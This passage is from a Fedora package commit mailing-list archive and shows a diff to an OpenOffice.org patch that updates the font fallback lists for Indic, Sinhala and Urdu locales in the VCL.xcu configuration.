 +    <node oor:name="ml-IN" oor:op="replace">
 +      <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
-+        <value>Meera;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
++        <value>Meera;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU</value>
 +      </prop>
 +      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
 +        <value>Meera;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
@@ -195,7 +260,7 @@ Index: officecfg/registry/data/org/openo
 +    </node>
 +    <node oor:name="mr-IN" oor:op="replace">
 +      <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
-+        <value>Lohit Marathi;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
++        <value>Lohit Marathi;Tahoma;Lucidasans;Lucida Sans;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU</value>
 +      </prop>
 +      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
 +        <value>Lohit Marathi;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
@@ -211,60 +276,146 @@ Index: officecfg/registry/data/org/openo
 +      </prop>
 +      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
 +        <value>Lohit Marathi;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
-+      </prop>
-+    </node>
+       </prop>
+     </node>
      <node oor:name="or-IN" oor:op="replace">
        <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
-         <value>utkal;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
-@@ -925,6 +1045,26 @@
-         <value>Lohit Tamil;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+-        <value>utkal;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
+-      </prop>
+-      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
+-        <value>utkal;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+-      </prop>
+-      <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
+-        <value>utkal;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+-      </prop>
+-      <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
+-        <value>utkal;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+-      </prop>
+-      <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
+-        <value>utkal;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+-      </prop>
+-      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
+-        <value>utkal;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++        <value>utkal;Kalinga;Lohit Oriya;Samyak Oriya;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS;Lucida Sans Unicode;clearlyU</value>
++      </prop>
++      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
++        <value>utkal;Kalinga;Lohit Oriya;Samyak Oriya;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
++        <value>utkal;Kalinga;Lohit Oriya;Samyak Oriya;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
++        <value>utkal;Kalinga;Lohit Oriya;Samyak Oriya;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
++        <value>utkal;Kalinga;Lohit Oriya;Samyak Oriya;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
++        <value>utkal;Kalinga;Lohit Oriya;Samyak Oriya;Lucidasans;Lucida Sans;Arial Unicode MS</value>
        </prop>
      </node>
+     <node oor:name="pa-IN" oor:op="replace">
+@@ -907,22 +1024,62 @@
+     </node>
+     <node oor:name="ta-IN" oor:op="replace">
+       <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
+-        <value>Lohit Tamil;Tahoma;Sans Serif</value>
+-      </prop>
+-      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
+-        <value>Lohit Tamil;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+-      </prop>
+-      <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
+-        <value>Lohit Tamil;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+-      </prop>
+-      <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
+-        <value>Lohit Tamil;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+-      </prop>
+-      <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
+-        <value>Lohit Tamil;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+-      </prop>
+-      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
+-        <value>Lohit Tamil;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++        <value>Lohit Tamil;Latha;Sans Serif</value>
++      </prop>
++      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
++        <value>Lohit Tamil;Latha;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
++        <value>Lohit Tamil;Latha;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
++        <value>Lohit Tamil;Latha;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
++        <value>Lohit Tamil;Latha;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
++        <value>Lohit Tamil;Latha;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++    </node>
 +    <node oor:name="te-IN" oor:op="replace">
 +      <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
-+        <value>Lohit Telugu;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
++        <value>Lohit Telugu;Gautami;Lucidasans;Lucida Sans;Arial Unicode MS;Lucida Sans Unicode;clearlyU</value>
 +      </prop>
 +      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
-+        <value>Lohit Telugu;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++        <value>Lohit Telugu;Gautami;Lucidasans;Lucida Sans;Arial Unicode MS</value>
 +      </prop>
 +      <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
-+        <value>Lohit Telugu;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++        <value>Lohit Telugu;Gautami;Lucidasans;Lucida Sans;Arial Unicode MS</value>
 +      </prop>
 +      <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
-+        <value>Lohit Telugu;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++        <value>Lohit Telugu;Gautami;Lucidasans;Lucida Sans;Arial Unicode MS</value>
 +      </prop>
 +      <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
-+        <value>Lohit Telugu;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++        <value>Lohit Telugu;Gautami;Lucidasans;Lucida Sans;Arial Unicode MS</value>
 +      </prop>
 +      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
-+        <value>Lohit Telugu;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++        <value>Lohit Telugu;Gautami;Lucidasans;Lucida Sans;Arial Unicode MS</value>
 +      </prop>
 +    </node>
++    <node oor:name="ur" oor:op="replace">
++      <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
++        <value>PakTypeNaqsh;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS;Lucida Sans Unicode;clearlyU</value>
++      </prop>
++      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
++        <value>PakTypeNaqsh;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
++        <value>PakTypeNaqsh;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
++        <value>PakTypeNaqsh;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
++        <value>PakTypeNaqsh;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
++        <value>PakTypeNaqsh;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+       </prop>
+     </node>
  
-     <node oor:name="ak-GH" oor:op="replace">
- 	<prop oor:name="LATIN_DISPLAY" oor:type="xs:string" oor:op="replace">
-@@ -1022,6 +1162,26 @@
+@@ -1022,6 +1179,26 @@
      </node>
      <node oor:name="rw" oor:op="replace">
      </node>
 +    <node oor:name="si" oor:op="replace">
 +      <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
-+        <value>LKLUG;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
++        <value>LKLUG;Iskoola Pota;Lucidasans;Lucida Sans;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU</value>
 +      </prop>
 +      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
-+        <value>LKLUG;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++        <value>Iskoola Pota;LKLUG;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
 +      </prop>
 +      <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
-+        <value>LKLUG;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++        <value>Iskoola Pota;LKLUG;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
 +      </prop>
 +      <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
-+        <value>LKLUG;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++        <value>Iskoola Pota;LKLUG;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
 +      </prop>
 +      <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
-+        <value>LKLUG;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++        <value>Iskoola Pota;LKLUG;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
 +      </prop>
 +      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
-+        <value>LKLUG;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++        <value>Iskoola Pota;LKLUG;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
 +      </prop>
 +    </node>
    </node>



From caolanm at fedoraproject.org  Sun Oct 18 14:48:48 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Sun, 18 Oct 2009 14:48:48 +0000 (UTC)
Subject: rpms/openoffice.org/F-12 workspace.vcl106.patch,1.3,1.4
Message-ID: <20091018144848.3F45211C00E8@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/openoffice.org/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29160

Modified Files:
	workspace.vcl106.patch 
Log Message:
tweak apply

workspace.vcl106.patch:
 officecfg/registry/data/org/openoffice/VCL.xcu |  228 ++++++++++++++++++++++---
 psprint/source/fontsubset/gsub.cxx             |   10 -
 unx/gtk/a11y/atkutil.cxx                       |   13 +
 vcl/source/glyphs/gcach_ftyp.cxx               |   11 -
 4 files changed, 231 insertions(+), 31 deletions(-)

Index: workspace.vcl106.patch
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/F-12/workspace.vcl106.patch,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- workspace.vcl106.patch	18 Oct 2009 14:32:48 -0000	1.3
+++ workspace.vcl106.patch	18 Oct 2009 14:48:46 -0000	1.4
@@ -82,7 +82,7 @@ Index: officecfg/registry/data/org/openo
 ===================================================================
 --- officecfg/registry/data/org/openoffice/VCL.xcu	(revision 276736)
 +++ officecfg/registry/data/org/openoffice/VCL.xcu	(working copy)
-@@ -825,64 +822,184 @@
+@@ -825,64 +825,184 @@
          <value>Lohit Nepali;Kalimati;Samanata;Sans</value>
        </prop>
      </node>
@@ -129,72 +129,52 @@ Index: officecfg/registry/data/org/openo
      <node oor:name="hi-IN" oor:op="replace">
        <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
 -        <value>Lohit Hindi;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
--      </prop>
--      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
--        <value>Lohit Hindi;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
--      </prop>
--      <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
--        <value>Lohit Hindi;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
--      </prop>
--      <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
--        <value>Lohit Hindi;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
--      </prop>
--      <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
--        <value>Lohit Hindi;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
--      </prop>
--      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
--        <value>Lohit Hindi;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
 +        <value>Lohit Hindi;Mangal;Lucidasans;Lucida Sans;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU</value>
-+      </prop>
-+      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
+       </prop>
+       <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
+-        <value>Lohit Hindi;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
 +        <value>Lohit Hindi;Mangal;Lucidasans;Lucida Sans;Arial Unicode MS</value>
-+      </prop>
-+      <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
+       </prop>
+       <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
+-        <value>Lohit Hindi;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
 +        <value>Lohit Hindi;Mangal;Lucidasans;Lucida Sans;Arial Unicode MS</value>
-+      </prop>
-+      <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
+       </prop>
+       <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
+-        <value>Lohit Hindi;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
 +        <value>Lohit Hindi;Mangal;Lucidasans;Lucida Sans;Arial Unicode MS</value>
-+      </prop>
-+      <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
+       </prop>
+       <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
+-        <value>Lohit Hindi;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
 +        <value>Lohit Hindi;Mangal;Lucidasans;Lucida Sans;Arial Unicode MS</value>
-+      </prop>
-+      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
+       </prop>
+       <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
+-        <value>Lohit Hindi;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
 +        <value>Lohit Hindi;Mangal;Lucidasans;Lucida Sans;Arial Unicode MS</value>
        </prop>
      </node>
      <node oor:name="gu-IN" oor:op="replace">
        <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
 -        <value>Lohit Gujarati;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
--      </prop>
--      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
--        <value>Lohit Gujarati;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
--      </prop>
--      <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
--        <value>Lohit Gujarati;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
--      </prop>
--      <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
--        <value>Lohit Gujarati;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
--      </prop>
--      <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
--        <value>Lohit Gujarati;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
--      </prop>
--      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
--        <value>Lohit Gujarati;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
 +        <value>Lohit Gujarati;Shruti;Lucidasans;Lucida Sans;Arial Unicode MS;Lucida Sans Unicode;clearlyU</value>
-+      </prop>
-+      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
+       </prop>
+       <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
+-        <value>Lohit Gujarati;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
 +        <value>Lohit Gujarati;Shruti;Lucidasans;Lucida Sans;Arial Unicode MS</value>
-+      </prop>
-+      <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
+       </prop>
+       <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
+-        <value>Lohit Gujarati;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
 +        <value>Lohit Gujarati;Shruti;Lucidasans;Lucida Sans;Arial Unicode MS</value>
-+      </prop>
-+      <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
+       </prop>
+       <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
+-        <value>Lohit Gujarati;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
 +        <value>Lohit Gujarati;Shruti;Lucidasans;Lucida Sans;Arial Unicode MS</value>
-+      </prop>
-+      <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
+       </prop>
+       <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
+-        <value>Lohit Gujarati;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
 +        <value>Lohit Gujarati;Shruti;Lucidasans;Lucida Sans;Arial Unicode MS</value>
-+      </prop>
-+      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
+       </prop>
+       <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
+-        <value>Lohit Gujarati;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
 +        <value>Lohit Gujarati;Shruti;Lucidasans;Lucida Sans;Arial Unicode MS</value>
 +      </prop>
 +    </node>
@@ -281,60 +261,35 @@ Index: officecfg/registry/data/org/openo
      <node oor:name="or-IN" oor:op="replace">
        <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
 -        <value>utkal;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
--      </prop>
--      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
--        <value>utkal;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
--      </prop>
--      <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
--        <value>utkal;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
--      </prop>
--      <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
--        <value>utkal;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
--      </prop>
--      <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
--        <value>utkal;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
--      </prop>
--      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
--        <value>utkal;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
 +        <value>utkal;Kalinga;Lohit Oriya;Samyak Oriya;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS;Lucida Sans Unicode;clearlyU</value>
-+      </prop>
-+      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
+       </prop>
+       <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
+-        <value>utkal;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
 +        <value>utkal;Kalinga;Lohit Oriya;Samyak Oriya;Lucidasans;Lucida Sans;Arial Unicode MS</value>
-+      </prop>
-+      <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
+       </prop>
+       <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
+-        <value>utkal;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
 +        <value>utkal;Kalinga;Lohit Oriya;Samyak Oriya;Lucidasans;Lucida Sans;Arial Unicode MS</value>
-+      </prop>
-+      <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
+       </prop>
+       <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
+-        <value>utkal;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
 +        <value>utkal;Kalinga;Lohit Oriya;Samyak Oriya;Lucidasans;Lucida Sans;Arial Unicode MS</value>
-+      </prop>
-+      <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
+       </prop>
+       <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
+-        <value>utkal;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
 +        <value>utkal;Kalinga;Lohit Oriya;Samyak Oriya;Lucidasans;Lucida Sans;Arial Unicode MS</value>
-+      </prop>
-+      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
+       </prop>
+       <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
+-        <value>utkal;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
 +        <value>utkal;Kalinga;Lohit Oriya;Samyak Oriya;Lucidasans;Lucida Sans;Arial Unicode MS</value>
        </prop>
      </node>
      <node oor:name="pa-IN" oor:op="replace">
-@@ -907,22 +1024,62 @@
+@@ -907,22 +1027,62 @@
      </node>
      <node oor:name="ta-IN" oor:op="replace">
        <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
--        <value>Lohit Tamil;Tahoma;Sans Serif</value>
--      </prop>
--      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
--        <value>Lohit Tamil;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
--      </prop>
--      <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
--        <value>Lohit Tamil;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
--      </prop>
--      <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
--        <value>Lohit Tamil;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
--      </prop>
--      <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
--        <value>Lohit Tamil;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
--      </prop>
--      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
--        <value>Lohit Tamil;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+-        <value>Lohit Tamil;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
 +        <value>Lohit Tamil;Latha;Sans Serif</value>
 +      </prop>
 +      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
@@ -356,20 +311,25 @@ Index: officecfg/registry/data/org/openo
 +    <node oor:name="te-IN" oor:op="replace">
 +      <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
 +        <value>Lohit Telugu;Gautami;Lucidasans;Lucida Sans;Arial Unicode MS;Lucida Sans Unicode;clearlyU</value>
-+      </prop>
-+      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
+       </prop>
+       <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
+-        <value>Lohit Tamil;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
 +        <value>Lohit Telugu;Gautami;Lucidasans;Lucida Sans;Arial Unicode MS</value>
-+      </prop>
-+      <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
+       </prop>
+       <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
+-        <value>Lohit Tamil;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
 +        <value>Lohit Telugu;Gautami;Lucidasans;Lucida Sans;Arial Unicode MS</value>
-+      </prop>
-+      <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
+       </prop>
+       <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
+-        <value>Lohit Tamil;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
 +        <value>Lohit Telugu;Gautami;Lucidasans;Lucida Sans;Arial Unicode MS</value>
-+      </prop>
-+      <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
+       </prop>
+       <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
+-        <value>Lohit Tamil;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
 +        <value>Lohit Telugu;Gautami;Lucidasans;Lucida Sans;Arial Unicode MS</value>
-+      </prop>
-+      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
+       </prop>
+       <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
+-        <value>Lohit Tamil;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
 +        <value>Lohit Telugu;Gautami;Lucidasans;Lucida Sans;Arial Unicode MS</value>
 +      </prop>
 +    </node>
@@ -394,7 +354,7 @@ Index: officecfg/registry/data/org/openo
        </prop>
      </node>
  
-@@ -1022,6 +1179,26 @@
+@@ -1022,6 +1182,26 @@
      </node>
      <node oor:name="rw" oor:op="replace">
      </node>



From mschwendt at fedoraproject.org  Sun Oct 18 14:52:18 2009
From: mschwendt at fedoraproject.org (Michael Schwendt)
